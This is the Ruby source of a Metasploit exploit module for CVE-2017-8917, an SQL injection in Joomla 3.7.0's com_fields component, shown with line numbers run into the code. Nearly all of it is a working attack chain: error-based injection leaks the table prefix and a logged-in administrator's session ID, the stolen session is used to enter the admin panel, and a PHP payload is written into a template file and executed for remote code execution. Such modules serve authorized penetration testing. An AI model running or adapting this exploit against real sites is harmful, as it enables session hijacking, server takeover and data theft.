Path: blob/master/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10include Msf::Exploit::Remote::HTTP::Joomla1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Joomla Component Fields SQLi Remote Code Execution',17'Description' => %q{18This module exploits a SQL injection vulnerability in the com_fields19component, which was introduced to the core of Joomla in version 3.7.0.20},21'License' => MSF_LICENSE,22'Author' => [23'Mateus Lino', # Vulnerability discovery24'luisco100 <luisco100[at]gmail.com>' # Metasploit module25],26'References' => [27[ 'CVE', '2017-8917' ], # SQLi28[ 'EDB', '42033' ],29[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]30],31'Payload' => {32'DisableNops' => true,33# Arbitrary big number. The payload gets sent as POST data, so34# really it's unlimited35'Space' => 262144, # 256k36},37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' => [40[ 'Joomla 3.7.0', {} ]41],42'Privileged' => false,43'DisclosureDate' => '2017-05-17',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def check55# Request using a non-existing table56val = sqli(rand_text_alphanumeric(rand(10) + 6), 'check')5758if val.nil?59return Exploit::CheckCode::Safe60else61return Exploit::CheckCode::Vulnerable62end63end6465def sqli(tableprefix, option)66# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).67# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.68# This way we make sure that's excluded and we only get real Administrator or Super User sessions.69if option == 'check'70start = rand_text_alpha(5)71start_h = start.unpack('H*')[0]72fin = rand_text_alpha(5)73fin_h = fin.unpack('H*')[0]7475sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"76else77start = rand_text_alpha(3)78start_h = start.unpack('H*')[0]79fin = rand_text_alpha(3)80fin_h = fin.unpack('H*')[0]8182sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"83end8485# Retrieve cookies86res = send_request_cgi({87'method' => 'GET',88'uri' => normalize_uri(target_uri.path, 'index.php'),89'vars_get' => {90'option' => 'com_fields',91'view' => 'fields',92'layout' => 'modal',93'list[fullordering]' => sql94}95})9697if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/98return $199end100101return nil102end103104def exploit105# Request using a non-existing table first, to retrieve the table prefix106val = sqli(rand_text_alphanumeric(rand(10) + 6), 'check')107if val.nil?108fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")109else110table_prefix = Base64.decode64(val)111table_prefix.sub! '_session', ''112print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")113end114115# Retrieve the admin session using our retrieved table prefix116val = sqli("#{table_prefix}_", 'exploit')117if val.nil?118fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")119else120auth_cookie_part = val121print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")122end123124# Retrieve cookies125res = send_request_cgi({126'method' => 'GET',127'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')128})129130if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/131cookie_begin = $1132print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")133else134fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")135end136137# Modify cookie to authenticated admin138auth_cookie = cookie_begin139auth_cookie << '='140auth_cookie << auth_cookie_part141auth_cookie << ';'142143# Authenticated session144res = send_request_cgi({145'method' => 'GET',146'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),147'cookie' => auth_cookie148})149150if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/151print_good("#{peer} - Successfully authenticated")152else153fail_with(Failure::Unknown, "#{peer} - Session failure")154end155156# Retrieve template view157res = send_request_cgi({158'method' => 'GET',159'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),160'cookie' => auth_cookie,161'vars_get' => {162'option' => 'com_templates',163'view' => 'templates'164}165})166167# We try to retrieve and store the first template found168if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/169template_id = $1170file_id = $2171172form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)173input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)174input_id = input_hidden[7].split("\"")175input_id = input_id[1]176177else178fail_with(Failure::Unknown, "Unable to retrieve template")179end180181filename = rand_text_alphanumeric(rand(10) + 6)182# Create file183print_status("#{peer} - Creating file [ #{filename}.php ]")184res = send_request_cgi({185'method' => 'POST',186'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),187'cookie' => auth_cookie,188'vars_get' => {189'option' => 'com_templates',190'task' => 'template.createFile',191'id' => template_id,192'file' => file_id,193},194'vars_post' => {195'type' => 'php',196'address' => '',197input_id => '1',198'name' => filename199}200})201202# Grab token203if res && res.code == 303 && res.headers['Location']204location = res.headers['Location']205print_status("#{peer} - Following redirect to [ #{location} ]")206res = send_request_cgi(207'uri' => location,208'method' => 'GET',209'cookie' => auth_cookie210)211212# Retrieving template token213if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/214token = $1215print_status("#{peer} - Token [ #{token} ] retrieved")216else217fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")218end219220if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/221template_path = $1222print_status("#{peer} - Template path [ #{template_path} ] retrieved")223else224fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")225end226227else228fail_with(Failure::Unknown, "#{peer} - Creating file failed")229end230231filename_base64 = Rex::Text.encode_base64("/#{filename}.php")232233# Inject payload data into file234print_status("#{peer} - Insert payload into file [ #{filename}.php ]")235res = send_request_cgi({236'method' => 'POST',237'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),238'cookie' => auth_cookie,239'vars_get' => {240'option' => 'com_templates',241'view' => 'template',242'id' => template_id,243'file' => filename_base64,244},245'vars_post' => {246'jform[source]' => payload.encoded,247'task' => 'template.apply',248token => '1',249'jform[extension_id]' => template_id,250'jform[filename]' => "/#{filename}.php"251}252})253254if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/255print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")256else257fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")258end259260# Request payload261register_files_for_cleanup("#{filename}.php")262print_status("#{peer} - Executing payload")263res = send_request_cgi({264'method' => 'POST',265'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),266'cookie' => auth_cookie267})268end269end270271272